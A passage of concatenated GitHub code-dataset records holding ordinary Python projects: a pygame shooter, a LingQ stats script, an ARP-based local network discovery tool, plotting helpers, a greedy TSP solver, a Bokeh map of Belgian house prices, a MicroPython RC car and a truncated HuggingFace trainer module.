x_at_zero = -y_axis_intersect / gradient\n x_at_maximum = (height - y_axis_intersect) / gradient\n if 0 <= x_at_zero <= width:\n x_ = x_at_zero\n y_ = 0\n else:\n x_ = width if 0 < angle < 90 else 0\n y_ = gradient * width + y_axis_intersect if 0 < angle < 90 else y_axis_intersect\n elif 180 < angle < 360:\n x_at_zero = -y_axis_intersect / gradient\n x_at_maximum = (height - y_axis_intersect) / gradient\n if 0 <= x_at_maximum <= width:\n x_ = x_at_maximum\n y_ = height\n else:\n x_ = 0 if 180 < angle < 270 else width\n y_ = y_axis_intersect if 180 < angle < 270 else gradient * width + y_axis_intersect\n else:\n # when angle is 0, 180 or 360\n if angle == 0 or angle == 360:\n x_ = width\n y_ = y_axis_intersect\n else:\n x_ = 0\n y_ = y_axis_intersect\n\n change_in_y = y_ - y\n change_in_x = x_ - x\n route_length = math.sqrt(change_in_y ** 2 + change_in_x ** 2)\n num_loop = route_length / self.settings.bullet_speed\n new_bullet.x_change_rate = change_in_x / num_loop\n new_bullet.y_change_rate = new_bullet.x_change_rate * gradient\n\n def _update_bullet(self):\n for bullet in self.bullets.copy():\n if bullet.rect.bottom <= 0 or bullet.rect.right <= 0 or bullet.rect.left >= self.settings.screen_width or \\\n bullet.rect.top >= self.settings.screen_height:\n self.bullets.remove(bullet)\n self._no_bullet_left()\n time.sleep(0.5)\n self._remove_cheater_start_real_game(bullet.shooter)\n bullet.update()\n self._check_bullet_barrier_collisions(bullet)\n self._check_bullet_player_collisions(bullet)\n self._check_bullet_mirror_collisions(bullet)\n\n def _check_bullet_barrier_collisions(self, bullet):\n for barrier in self.barriers.barrier_grids:\n collision = pygame.Rect.colliderect(bullet.rect, barrier)\n if collision:\n self.bullets.remove(bullet)\n self._no_bullet_left()\n time.sleep(0.5)\n self._remove_cheater_start_real_game(bullet.shooter)\n break\n\n def _check_bullet_player_collisions(self, bullet):\n players_copy = self.players.copy()\n try:\n players_copy.remove(bullet.shooter)\n except:\n pass\n for player in players_copy:\n collision = pygame.Rect.colliderect(bullet.rect, player.rect)\n if collision:\n shooter_index = self.players.index(bullet.shooter)\n if self.players.index(player) < shooter_index:\n self.shooter -= 1\n try:\n self.bullets.remove(bullet)\n except:\n pass\n self._no_bullet_left()\n time.sleep(0.5)\n self.players.remove(player)\n self._remove_cheater_start_real_game(bullet.shooter)\n break\n\n def _check_bullet_mirror_collisions(self, bullet):\n for mirror in self.mirrors.mirror_grids:\n collision = pygame.Rect.colliderect(bullet.rect, mirror)\n if collision and time.time() - self.timer > 0.1:\n if mirror.width > mirror.height:\n bullet.y_change_rate *= -1\n else:\n bullet.x_change_rate *= -1\n self.timer = time.time()\n\n def _real_game(self):\n if len(self.players) != 1:\n if self.turn_ended and self.players[self.shooter].shot_left != 0:\n self._shoot(self.players[self.shooter])\n self.turn_ended = False\n self.no_bullet = False\n if len(self.bullets) == 0:\n self.no_bullet = True\n if self.no_bullet:\n self.player_moved = False\n self._move(self.players[self.shooter])\n if self.no_bullet and self.player_moved:\n self.turn_ended = True\n else:\n self.text.prep_winner()\n self.end = True\n pygame.mouse.set_visible(True)\n self.game_active = False\n\n def _no_bullet_left(self):\n has_no_bullets = []\n for player in self.players:\n if player.shot_left == 0:\n has_no_bullets.append(True)\n else:\n has_no_bullets.append(False)\n if all(has_no_bullets):\n self.text.prep_winner()\n self.end = True\n pygame.mouse.set_visible(True)\n self.game_active = False\n\n def _move(self, player):\n available_grids = []\n x, y = player.rect.centerx, player.rect.centery\n for row in range(-1, 2):\n for column in range(-1, 2):\n for grid in self.stage.grids:\n if row == 0 and column == 0:\n pass\n else:\n collision = grid.collidepoint(x - self.settings.grid_width * column,\n y - self.settings.grid_height * row)\n if collision and grid in self.barriers.no_barrier_grids:\n player_player_collision_list = []\n for p in self.players:\n player_player_collision = p.rect.collidepoint(grid.centerx, grid.centery)\n player_player_collision_list.append(player_player_collision)\n if any(player_player_collision_list):\n pass\n else:\n available_grids.append(grid)\n\n other_players = self.players.copy()\n other_players.remove(player)\n safe_grids = []\n for grid in available_grids:\n x_ = grid.centerx\n y_ = grid.centery\n safe_or_not_list = []\n for p in other_players:\n x = p.rect.centerx\n y = p.rect.centery\n if self._collision(x, x_, y, y_, self.barriers.barrier_grids):\n safe_or_not = True\n safe_or_not_list.append(safe_or_not)\n if all(safe_or_not_list):\n safe_grids.append(grid)\n\n if len(safe_grids) == 0:\n destination = random.choice(available_grids)\n player.rect.centerx, player.rect.centery = destination.centerx, destination.centery\n else:\n destination = random.choice(safe_grids)\n player.rect.centerx, player.rect.centery = destination.centerx, destination.centery\n\n self.player_moved = True\n if self.shooter < len(self.players) - 1:\n self.shooter += 1\n else:\n self.shooter = 0\n time.sleep(0.5)\n\n def _shoot(self, player):\n observable_players = self._observable(player)\n if len(observable_players) > 0:\n self._create_bullet(player, random.choice(observable_players))\n player.shot_left -= 1\n else:\n self._create_bullet(player, 0)\n player.shot_left -= 1\n\n def _update_screen(self):\n self.screen.fill(self.settings.bg_colour)\n if self.game_active:\n if self.constructing:\n if time.time() > self.timer + 1:\n self.stage.draw_stage()\n if time.time() > self.timer + 2:\n self.barriers.draw_barriers()\n if time.time() > self.timer + 3:\n self.mirrors.draw_mirrors()\n if time.time() > self.timer + 4:\n self._draw_players()\n if time.time() > self.timer + 7:\n self.constructing = False\n self.cheating = True\n elif self.cheating:\n self.stage.draw_stage()\n self.barriers.draw_barriers()\n self.mirrors.draw_mirrors()\n self._draw_players()\n self._cheat()\n self._update_bullet()\n for bullet in self.bullets:\n bullet.draw_bullet()\n self.text.show_cheater()\n elif self.real_game:\n self.stage.draw_stage()\n self.barriers.draw_barriers()\n self.mirrors.draw_mirrors()\n self._draw_players()\n self._update_bullet()\n for bullet in self.bullets:\n bullet.draw_bullet()\n self.text.prep_stats()\n self.text.show_stats()\n elif self.end:\n self.text.show_winner()\n self.end_button.draw_button()\n else:\n self.start_button.draw_button()\n pygame.display.flip()\n\n\nif __name__ == \"__main__\":\n mygame = Main()\n mygame.run_game()\n","repo_name":"KohkiHatori/AOM_Mar_Apr","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70515106064","text":"import os\nimport requests\nimport json\nimport sys\nimport pandas as pd\nimport datetime\nfrom dotenv import dotenv_values\n\n# Assumes that .env is on the root\nparent_dir = os.path.dirname(os.getcwd())\nenv_path = os.path.join(parent_dir, '.env')\nconfig = dotenv_values(env_path)\n\nKEY = config[\"APIKEY\"]\nheaders = {'Authorization': f\"Token {KEY}\"}\nparams = {'interval': 'today'}\n\ncurrent_day = datetime.datetime.today().strftime('%A')\n\n\ndef printJSON(myjson):\n json.dump(myjson, sys.stdout, ensure_ascii=False, indent=2)\n\n\ndef main():\n res = requests.get(\n 'https://www.lingq.com/api/v2/ja/progress/',\n params=params,\n headers=headers\n ).json()\n\n del res[\"intervals\"]\n\n df = pd.DataFrame([res])\n df = df.transpose()\n df = df.reset_index()\n df.columns = ['Attribute', current_day]\n\n if os.path.exists('stats.xlsx'):\n print('Previous stats.xlsx found, appending:')\n\n prev_df = pd.read_excel('stats.xlsx')\n df = pd.concat([prev_df, df[current_day]], axis=1)\n else:\n print('Could not find stats.xlsx, creating:')\n \n\n with pd.ExcelWriter('stats.xlsx') as writer:\n df.to_excel(writer, sheet_name='Sheet1', index=False)\n\n # print(df)\n\n print(\"Finished!\")\n\n\nmain()\n","repo_name":"daxida/lingq","sub_path":"scripts/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37688445298","text":"#------------[Imports]------------#\ntry:\n from scapy.all import ARP, Ether, srp\n from mac_vendor_lookup import MacLookup, BaseMacLookup\n import netifaces as ni\n from configparser import ConfigParser \nexcept ModuleNotFoundError as e:\n print(f\"Netdiscovery. {e}.\\nExiting!\")\n exit()\n \n #-----[local variables]-----#\nconfig = ConfigParser()\n\n\n#-----[network discovery class]-----#\nclass NetDiscovery():\n\n #-----[Get current network]-----#\n def get_current_network(self):\n config.read('config.ini')\n interface = config.get(\"netdiscovery\", \"interface\") \n try:\n default_interface = ni.gateways()[interface][ni.AF_INET][1]\n \n except:\n print(f\"{interface} is not found. Using default interface.\") \n default_interface = ni.gateways()['default'][ni.AF_INET][1]\n\n ipadres = ni.ifaddresses(default_interface)[ni.AF_INET][0]['addr']\n netmask = ni.ifaddresses(default_interface)[ni.AF_INET][0]['netmask']\n \n dot_decimaal = ipadres.split(\".\")\n del dot_decimaal[3]\n dot_decimaal.append(\"0\")\n ipadres = \".\".join(dot_decimaal) \n\n binary_mask = ''.join(format(int(x), '08b') for x in netmask.split('.'))\n prefix = str(len(binary_mask.rstrip('0')))\n \n default_network = ipadres+\"/\"+prefix\n return default_network\n\n\n #-----[Network discovery]-----#\n def discover_devices(self):\n print(\"Discovering network...\")\n ip_range = self.get_current_network() \n arp = ARP(pdst=ip_range)\n ether = Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n packet = ether / arp\n \n result = srp(packet, timeout=3, verbose=0)[0]\n devices = []\n\n for send, received in result:\n try:\n BaseMacLookup.cache_path = \"./mac-vendors.txt\"\n vendor = MacLookup().lookup(received.hwsrc)\n\n except KeyError:\n vendor = \"Unknown\"\n\n devices.append({'ip': received.psrc, 'mac': received.hwsrc, 'vendor': vendor})\n print(f\"IP: {received.psrc}\\t MAC: {received.hwsrc}\\t VENDOR: {vendor}\")\n \n self.write_to_file(devices)\n return devices\n\n\n #-----[write to file]-----#\n def write_to_file(self, devices):\n \n config.read('config.ini')\n file_name = config.get(\"write_to_file\", \"devices_file\")\n for device in devices:\n with open(file_name, \"a\") as file:\n file.write(f\"IP: {device['ip']}\\t MAC: {device['mac']}\\t VENDOR: {device['vendor']}\\n\")\n print(f\"Scan output saved to {file_name}\")\n","repo_name":"TheRobot02/auto-netdisc-nmap","sub_path":"components/netdiscovery.py","file_name":"netdiscovery.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70251918542","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport matplotlib.pylab as plt\nimport numpy as np\n\ndef remove_axis_spines(ax):\n\tfor direction in [\"left\", \"right\", \"top\", \"bottom\"]:\n\t\tax.spines[direction].set_color(\"none\")\n\treturn\n\ndef adjust_plot_dimensions():\n\tplt.subplots_adjust(left=0.04, right=0.94, top=0.95, bottom=0.07)\n\treturn\n\ndef TwoD_Scatter(x, y, selected_checkboxes, panel, s=None, c=None):\n\t\"\"\"\n\tThis method is used to plot a two dimensional graphs on the basis of the selected checkboxes from the pyscrolledwindow\n\ts is the size of the points being drawn\n\tc is the color of the points being drawn\n\t\"\"\"\n\tif c is None:\n\t\tc = \"b\"\n\tif s is None:\n\t\ts= 10\n\t\n\tplt.xlabel(selected_checkboxes[0][1])\n\tplt.ylabel(selected_checkboxes[1][1])\n\ttry:\n\n\t\tpanel.canvas.figure.clf()\n\t\tplt.xlim(np.min(x), np.max(x))\n\t\tplt.ylim(np.min(y), np.max(y))\n\t\tplt.grid(True)\n\t\tscatter = plt.scatter(x, y,marker=\"o\", s=s, c=plt.randn(len(x)), picker= True)\n\t\tplt.subplots_adjust(left=0.05, right=0.94, top=0.95, bottom=0.09)\n\texcept:\n\t\ttry:\n\t\t\tpanel.canvas.figure.clf()\n\t\t\tax = panel.canvas.figure.add_subplot(111) \n\t\t\ty_ticks = list(set(y))\n\t\t\tax.set_yticks(range(len(y_ticks)))\n\t\t\tax.set_yticklabels(y_ticks)\n\t\t\tfor direction in [\"left\", \"right\", \"top\", \"bottom\"]:\n\t\t\t\tax.spines[direction].set_color(\"none\")\n\t\t\ty_data= [y_ticks.index(element) for element in y]\n\t\t\tplt.scatter(x, y_data)\n\t\texcept:\n\t\t\tpanel.canvas.figure.clf()\n\t\t\tax = panel.canvas.figure.add_subplot(111) \n\t\t\ty_ticks = list(set(y))\n\t\t\tax.set_yticks(range(len(y_ticks)))\n\t\t\tax.set_yticklabels(y_ticks)\n\t\t\tfor direction in [\"left\", \"right\", \"top\", \"bottom\"]:\n\t\t\t\tax.spines[direction].set_color(\"none\")\n\t\t\ty_data= [y_ticks.index(element) for element in y]\n\t\t\tx_ticks = list(set(x))\n\t\t\tax.set_xticks(range(len(x_ticks)))\n\t\t\tax.set_xticklabels(x_ticks)\n\t\t\tx_data= [x_ticks.index(element) for element in x]\n\t\t\tplt.scatter(x_data, y_data)\n\t\t\n\tpanel.canvas.draw()\n\treturn\n\ndef TwoD_Hexbin(x, panel):\n#\tplt.xlim(np.min(x), np.max(x))\n#\tplt.ylim(np.min(y), np.max(y))\n#\tplt.grid(True)\n#\tplt.hexbin(x, y, bins='log', cmap=plt.cm.YlOrRd_r)\n\tplt.hist(x)\n\tplt.subplots_adjust(left=0.03, right=0.98, top=0.98, bottom=0.07)\n\tpanel.canvas.draw()\n\treturn\n\n","repo_name":"GraphicalDot/Plotting_Tool","sub_path":"TwoD_Plot_Methods.py","file_name":"TwoD_Plot_Methods.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3732521418","text":"from TSP import TSP\nimport numpy as np\nimport time\n\nclass Greedy(TSP):\n '''\n A class that inherits from the TSP And solves the problem by greedy algorithm.\n '''\n\n def __init__(self, exceeded = 60) -> None:\n self.__value = 0\n self.__time = 0\n self.__path = []\n self.__exceeded = exceeded\n \n def Solve(self, matrix):\n visited = [False] * len(matrix[0])\n value = 0\n start_time = time.perf_counter()\n actualNode = 0\n visited[0] = True\n path = [0]\n while (not all(visited)):\n actual_time = time.perf_counter()\n\n # Si se pasa del tiempo establecido\n if (actual_time - start_time) > self.__exceeded:\n end_time = time.perf_counter()\n self.__time = end_time - start_time\n self.__value = value\n return value\n \n i = 0\n min = float('inf')\n index_smallest_element = 0\n while i < len(matrix[actualNode]):\n if matrix[actualNode,i] < min and visited[i] == False:\n min = matrix[actualNode,i]\n index_smallest_element = i\n i += 1\n\n value += min\n actualNode = index_smallest_element\n visited[actualNode] = True\n path.append(actualNode)\n \n end_time = time.perf_counter()\n self.__time = end_time - start_time\n self.__path = path\n value += matrix[actualNode,0] # Volver al original\n self.__value = value\n\n return value\n\n def Set_exceeded(self, exceeded):\n self.__exceeded = exceeded\n\n def Get_path(self):\n return super().Get_path(self.__path)\n\n def Get_value(self):\n return self.__value\n \n def Get_time(self):\n return self.__time\n \ndef main():\n try:\n a = Greedy()\n v = np.array([[0., 25., 10., 15.], \n [25., 0., 10., 45.],\n [10., 10., 0., 5.], \n [15., 45., 5., 0.]])\n print(a.Solve(v))\n print(a.Get_path())\n\n except Exception as e:\n print(str(e))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Saul-Sosa-Diaz/Diseno-y-analisis-de-algoritmos","sub_path":"Practica6/src/greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8579508612","text":"#####################RUN THE SCRIPT VIA OPENING A CMD CMD IN THE SAME DIRECTORY\r\n##RUN THE COMMAND: bokeh serve belgianHouses_final.py --show --port 5010 --allow-websocket-origin=*########\r\n####MAKE SURE THE FILES Belgium_withHousePrice.json and belgianHousesClean.csv ARE IN THE SAME FOLDER#####\r\n\r\nimport pandas as pd\r\nimport json\r\nimport numpy as np\r\n\r\nfrom bokeh.plotting import figure\r\nfrom bokeh.io import curdoc\r\nfrom bokeh.models import ColumnDataSource,Column,NumeralTickFormatter,Range1d,Row,GeoJSONDataSource,HoverTool,LinearColorMapper,Label,ColorBar\r\nfrom bokeh.models.widgets import Select,Slider,Button,Div\r\nfrom bokeh.palettes import RdYlGn11\r\n\r\ndef filterDB(place=\"Aalst\",houseType=\"houses\"):\r\n dataAalst=df.loc[(df['Commune'] == place) & (df['Type'] == houseType)]\r\n return dataAalst\r\n\r\n#set the color value of the geoDict per feature\r\ndef setGeoDictColor(geoDict,dataTypeFilter,propertyFilter,year):\r\n for i in geoDict['features']:\r\n i['properties']['color']=i['properties'][dataTypeFilter][propertyFilter][year-1973] \r\n return geoDict\r\n\r\ndf=pd.read_csv('belgianHousesClean.csv',encoding='utf-8',index_col=0)\r\ncommuneList=list(df['Commune'])\r\ncommuneList=sorted(list(set(communeList)))#only unique values\r\ncommune1='Aalst'\r\ncommune2='Leuven'\r\ntypeList=list(set(list(df['Type'])))\r\nprint(typeList)\r\nYaxis='Price/m2'\r\npropertyType='houses'\r\nyear=2017\r\n\r\n#create the map graph\r\n#read the json file\r\nwith open(r'Belgium_withHousePrice.json', 'r',encoding='utf-8') as f:\r\n geojson=f.read()#string file\r\ngeoDict=eval(geojson)\r\n\r\n#get the min and max for the map color range\r\ndef setMapColorRange():\r\n global minMap,maxMap\r\n colorRangeDF=list(df.loc[df['Type'] == propertyType][Yaxis])\r\n colorRangeDF=[x for x in colorRangeDF if str(x) != 'nan']\r\n minMap=np.percentile(np.array(colorRangeDF),5)\r\n maxMap=np.percentile(np.array(colorRangeDF),99)\r\n print(minMap,maxMap)\r\n\r\ndef createMap():\r\n geoDictColored=setGeoDictColor(geoDict,dataTypeFilter=Yaxis,propertyFilter=propertyType,year=year)\r\n geo_source = GeoJSONDataSource(geojson=json.dumps(geoDictColored))#bokeh source\r\n \r\n tools = \"pan,wheel_zoom,tap,reset\"\r\n countryMap = figure(title='Belgian real estate transactions: average in euros by commune',tools=tools,width=1000, height=700,x_axis_location=None, y_axis_location=None)\r\n countryMap.xgrid.grid_line_color = None\r\n countryMap.ygrid.grid_line_color = None\r\n \r\n color_mapper = LinearColorMapper(palette=RdYlGn11,low=minMap,high=maxMap,nan_color='grey')\r\n countryMap.patches('xs', 'ys',source=geo_source,line_color='black',fill_color={'field': 'color', 'transform': color_mapper})\r\n countryMap.add_tools(HoverTool(tooltips = [(\"name\", \"@name\"),( Yaxis,'@color{int}')]))\r\n \r\n yearLabel = Label(x=20, y=10, x_units='screen', y_units='screen',text=str(year), render_mode='css',text_font_size='100pt')\r\n countryMap.add_layout(yearLabel)\r\n\r\n color_bar = ColorBar(color_mapper=color_mapper, width=20, location=(0,0))\r\n countryMap.add_layout(color_bar, 'right')\r\n \r\n return countryMap\r\nsetMapColorRange()\r\ncountryMap=createMap()\r\n\r\n#create a button to animate the graph\r\ndef animate_update():\r\n year = slider.value + 1\r\n if year > 2017:\r\n year = 1973\r\n slider.value = year\r\n\r\ncallback_id='0'#declare a variable like this\r\ndef animate():\r\n global callback_id\r\n if button.label == 'Play':\r\n button.label = 'Pause'\r\n callback_id = curdoc().add_periodic_callback(animate_update, 500)\r\n else:\r\n button.label = 'Play'\r\n curdoc().remove_periodic_callback(callback_id)\r\nbutton = Button(label='Play', width=60)\r\nbutton.on_click(animate)\r\n\r\n\r\ndef plotAvgTrend(): \r\n source1 = ColumnDataSource(data=filterDB(place=commune1,houseType=propertyType))\r\n source2 = ColumnDataSource(data=filterDB(place=commune2,houseType=propertyType))\r\n \r\n fig=figure(width=700,title='Belgian real estate transactions 1973-2017: average trend in euros by commune and type')\r\n fig.line(x=\"CD_YEAR\", y=Yaxis,color='blue',source=source1,legend=commune1)\r\n fig.line(x=\"CD_YEAR\", y=Yaxis,color='red',source=source2,legend=commune2)\r\n fig.xaxis.axis_label = 'Year'\r\n fig.x_range = Range1d(1973,2017)\r\n fig.yaxis.formatter = NumeralTickFormatter(format=\"{}0\")\r\n \r\n if Yaxis=='Mean Price':\r\n fig.y_range = Range1d(start=0,end=maxMap*1.02) \r\n fig.yaxis.axis_label = 'Average price (euro)'\r\n elif Yaxis=='Price/m2':\r\n fig.y_range = Range1d(start=0,end=maxMap*1.02)\r\n fig.yaxis.axis_label = 'Average price/m2 (euro)'\r\n \r\n fig.legend.location = \"top_left\"\r\n fig.legend.click_policy=\"hide\"\r\n \r\n return fig\r\n\r\nfig=plotAvgTrend()\r\n\r\n#the first dropdown with choice of commune\r\ndef commune1Change(attr,old,new):\r\n global commune1\r\n print(new)\r\n commune1=new\r\n updatePlot()\r\nselectCommune1 = Select(title=\"Commune 1:\", value=commune1, options=communeList)\r\nselectCommune1.on_change(\"value\",commune1Change)\r\n\r\n#the second dropdown with choice of commune\r\ndef commune2Change(attr,old,new):\r\n global commune2\r\n print(new)\r\n commune2=new\r\n updatePlot()\r\nselectCommune2 = Select(title=\"Commune 2:\", value=commune2, options=communeList)\r\nselectCommune2.on_change(\"value\",commune2Change)\r\n\r\n\r\n#set the Y-axis\r\ndef YaxisChange(attr,old,new):\r\n global Yaxis\r\n print(new)\r\n Yaxis=new\r\n updatePlot()\r\nselectYaxis = Select(title=\"Y-axis:\", value='Price/m2', options=['Mean Price','Price/m2'])\r\nselectYaxis.on_change(\"value\",YaxisChange)\r\n\r\n#set the type of property\r\ndef typeChange(attr,old,new):\r\n global propertyType\r\n print(new)\r\n propertyType=new\r\n updatePlot()\r\nselectType = Select(title=\"type of property:\", value='houses', options=typeList)\r\nselectType.on_change(\"value\",typeChange)\r\n\r\ndef updatePlot():\r\n setMapColorRange()\r\n newfig=plotAvgTrend()\r\n graphColumn.children[2]=newfig\r\n new_countryMap=createMap()\r\n mapColum.children[0]=new_countryMap\r\n\r\ndef slider_update(attrname, old, new):\r\n global year\r\n year=new\r\n new_countryMap=createMap()\r\n mapColum.children[0]=new_countryMap\r\n \r\nslider = Slider(start=1973, end=2017, value=2017, step=1, title=\"Year\")\r\nslider.on_change('value', slider_update)\r\n \r\ndiv = Div(text=\"\"\"\r\n

All source data is from the Begian governement at https://statbel.fgov.be/en.
\r\nAll data are averages.
\r\nFor communes where no data was available at all the average was set at 0.
\r\nFor years where no data was available the average was set to the same value as the year before.
\r\nThe interactive graph was made by Joris Meert for educational purpose.

\r\n\"\"\",width=700, height=100)\r\n \r\ngraphColumn=Column(selectType,Row(selectCommune1,selectCommune2),fig,selectYaxis,div)\r\nmapColum=Column(countryMap,Row(slider,button))\r\nlayout=Row(graphColumn,mapColum)\r\ncurdoc().add_root(layout)\r\ncurdoc().title=\"Belgian house market\"","repo_name":"JorisMeertBambrugge/belgianHouses","sub_path":"belgianHouses_final.py","file_name":"belgianHouses_final.py","file_ext":"py","file_size_in_byte":7054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24913568043","text":"import ustruct\r\nfrom machine import Pin, SPI, PWM\r\nfrom nrf24l01 import NRF24L01\r\n\r\nPWM_A = PWM(Pin(8))\r\nA_IN_1 = Pin(10, Pin.OUT)\r\nA_IN_2 = Pin(9, Pin.OUT)\r\n\r\nPWM_B = PWM(Pin(15))\r\nB_IN_1 = Pin(12, Pin.OUT)\r\nB_IN_2 = Pin(13, Pin.OUT)\r\n\r\nSTBY = Pin(11, Pin.OUT)\r\n\r\nPWM_A.freq(1000)\r\nPWM_B.freq(1000)\r\nduty = 30000\r\n\r\ndef Forward():\r\n A_IN_1.value(1)\r\n A_IN_2.value(0)\r\n PWM_A.duty_u16(duty)\r\n \r\n B_IN_1.value(0)\r\n B_IN_2.value(1)\r\n PWM_B.duty_u16(duty)\r\n \r\n STBY.value(1)\r\n \r\ndef Backward():\r\n A_IN_1.value(0)\r\n A_IN_2.value(1)\r\n PWM_A.duty_u16(duty)\r\n \r\n B_IN_1.value(1)\r\n B_IN_2.value(0)\r\n PWM_B.duty_u16(duty)\r\n \r\n STBY.value(1)\r\n \r\ndef Left():\r\n A_IN_1.value(1)\r\n A_IN_2.value(0)\r\n PWM_A.duty_u16(duty)\r\n \r\n B_IN_1.value(1)\r\n B_IN_2.value(0)\r\n PWM_B.duty_u16(duty)\r\n \r\n STBY.value(1)\r\n\r\ndef Right():\r\n A_IN_1.value(0)\r\n A_IN_2.value(1)\r\n PWM_A.duty_u16(duty)\r\n \r\n B_IN_1.value(0)\r\n B_IN_2.value(1)\r\n PWM_B.duty_u16(duty)\r\n \r\n STBY.value(1)\r\n \r\ndef Stop():\r\n A_IN_1.value(0)\r\n A_IN_2.value(0)\r\n PWM_A.duty_u16(0)\r\n \r\n B_IN_1.value(0)\r\n B_IN_2.value(0)\r\n PWM_B.duty_u16(0)\r\n \r\n STBY.value(0)\r\n\r\npipes = (b\"\\xe1\\xf0\\xf0\\xf0\\xf0\", b\"\\xd2\\xf0\\xf0\\xf0\\xf0\")\r\n\r\ncsn = Pin(14, mode=Pin.OUT, value=1)\r\nce = Pin(17, mode=Pin.OUT, value=0)\r\n \r\nnrf = NRF24L01(SPI(0), csn, ce, payload_size=8)\r\nnrf.open_tx_pipe(pipes[1])\r\nnrf.open_rx_pipe(1, pipes[0])\r\nnrf.start_listening()\r\n\r\n\r\nwhile True:\r\n \r\n while nrf.any():\r\n \r\n buf = nrf.recv()\r\n dir, = ustruct.unpack(\"i\", buf)\r\n \r\n if dir == 0:\r\n Stop()\r\n if dir == 8:\r\n Forward()\r\n if dir == 2:\r\n Backward()\r\n if dir == 4:\r\n Left()\r\n if dir == 6:\r\n Right()","repo_name":"PiotrBejenka/Remote_Control","sub_path":"platform/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74308134863","text":"\nimport os, sys\nsys.path.append(os.environ['PWD'])\nimport datasets \nimport datetime\nimport transformers\nfrom copy import deepcopy\nfrom typing import Union, List\nfrom copy import deepcopy\nfrom algocean import BaseModule\nimport torch\nimport ray\nimport json\nimport os\nfrom algocean.utils import dict_put\nfrom datasets.utils.py_utils import asdict, unique_values\nimport datetime\nimport pyarrow\nfrom torch.utils.data import DataLoader\nfrom tqdm.auto import tqdm\n\nfrom ocean_lib.models.data_nft import DataNFT\nimport fsspec\nimport os\n# from ipfsspec.asyn import AsyncIPFSFileSystem\nfrom fsspec import register_implementation\nimport asyncio\nimport io\nfrom algocean.ocean import OceanModule\nfrom algocean.utils import Timer, round_sig\n\n\nfrom transformers import AutoModel, AutoTokenizer\nfrom datasets import load_dataset, Dataset, load_dataset_builder, load_metric\n\n\n\n\nclass TrainerModule(BaseModule):\n default_config_path = 'huggingface.trainer.module'\n __file__ = __file__\n datanft = None\n default_token_name='token' \n last_saved = None\n\n \n dataset = {}\n def __init__(self, config:dict=None, override:dict={}):\n BaseModule.__init__(self, config=config)\n self.algocean = OceanModule()\n self.web3 = self.algocean.web3\n self.ocean = self.algocean.ocean\n self.override_config(override)\n self.hub = self.get_object('huggingface.hub.module.HubModule')()\n self.load_state()\n\n\n def load_state(self):\n if self.config.get('load_state', False):\n pass\n if self.config.get('model_only'):\n self.load_model()\n pass\n else:\n self.load_model()\n self.load_dataset()\n self.load_optimizer()\n self.load_metric()\n self.load_schedular()\n \n def load_dataset(self):\n dataset_class = self.get_object('huggingface.dataset.module.DatasetModule')\n override = dict(dataset=self.config.get('dataset'), load_dataset=True, client=self.client)\n self.dataset = dataset_class(override=override).dataset\n self.load_pipeline()\n for split in self.dataset.keys():\n self.dataset[split] = self.dataset[split].shard(20,1)\n\n self.dataloaders = self.get_dataloaders()\n # st.write(self.dataset.dataset)\n\n def split(self, split):\n return self.dataset[split]\n\n @property\n def splits(self):\n return list(self.dataset.keys())\n\n def load_pipeline(self):\n kwargs = self.config.get('pipeline')\n pipeline_class = self.import_object(path=kwargs.get('module'))\n pipeline = getattr(pipeline_class, kwargs['init']['fn'])(**kwargs['init'].get('kwargs', {}))\n self.pipeline = pipeline\n \n def pipeline_function(examples):\n return pipeline(examples['sentence'], **kwargs.get('params'))\n \n for split, dataset in self.dataset.items():\n dataset = dataset.map(pipeline_function, batched=True)\n dataset = dataset.remove_columns(kwargs['features']['remove'])\n for k, v in kwargs['features']['map'].items():\n dataset = dataset.rename_column(k, v) \n\n \n dataset.set_format(kwargs['format'])\n self.dataset[split] = dataset\n self.meta_keys = kwargs['features'].get('meta', [])\n self.input_keys = kwargs['features'].get('input', [])\n if len(self.input_keys) == 0:\n non_sample_keys = kwargs['features']['remove'] + kwargs['features']['meta']\n self.input_keys = [k for k in self.sample_example if k not in non_sample_keys]\n\n\n def resolve_split(self, split=None):\n if split == None:\n split = self.splits[0]\n assert isinstance(split, str)\n return split\n \n @property\n def sample_example(self):\n return self.sample()\n\n def sample(self, split=None, idx=0):\n split = self.resolve_split(split)\n return self.dataset[split][idx]\n \n @property\n def device(self):\n device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n return device\n\n def load_model(self):\n kwargs = self.config.get('model')\n model_class = self.import_object(path=kwargs.get('module'))\n model = getattr(model_class, kwargs['init']['fn'])(**kwargs['init'].get('kwargs', {}))\n self.model = model\n self.model.to(self.device)\n\n\n def load_metric(self):\n self.metric = load_metric(self.config['metric'])\n \n def compute_metrics(eval_pred):\n logits, labels = eval_pred\n predictions = np.argmax(logits, axis=-1)\n return metric.compute(predictions=predictions, references=labels)\n\n\n\n\n @property\n def num_epochs(self):\n for k in ['num_epochs', 'epochs']:\n v = self.config.get(k)\n if isinstance(v, int):\n return v\n \n raise Exception('Please specify the number of epochs in the config via num_epochs, or epochs')\n\n @property\n def num_training_steps(self):\n return self.num_epochs * len(self.dataloader['train'])\n \n\n def load_optimizer(self):\n kwargs = self.config.get('optimizer')\n optimizer_class = self.import_object(kwargs['module'])\n self.optimizer = optimizer_class(self.model.parameters(), **kwargs['params'])\n\n @property\n def batch_size(self):\n return self.config.get('batch_size', 8) \n\n @property\n def shuffle(self):\n return self.config.get('shuffle', True)\n \n @property\n def wallet(self):\n account = 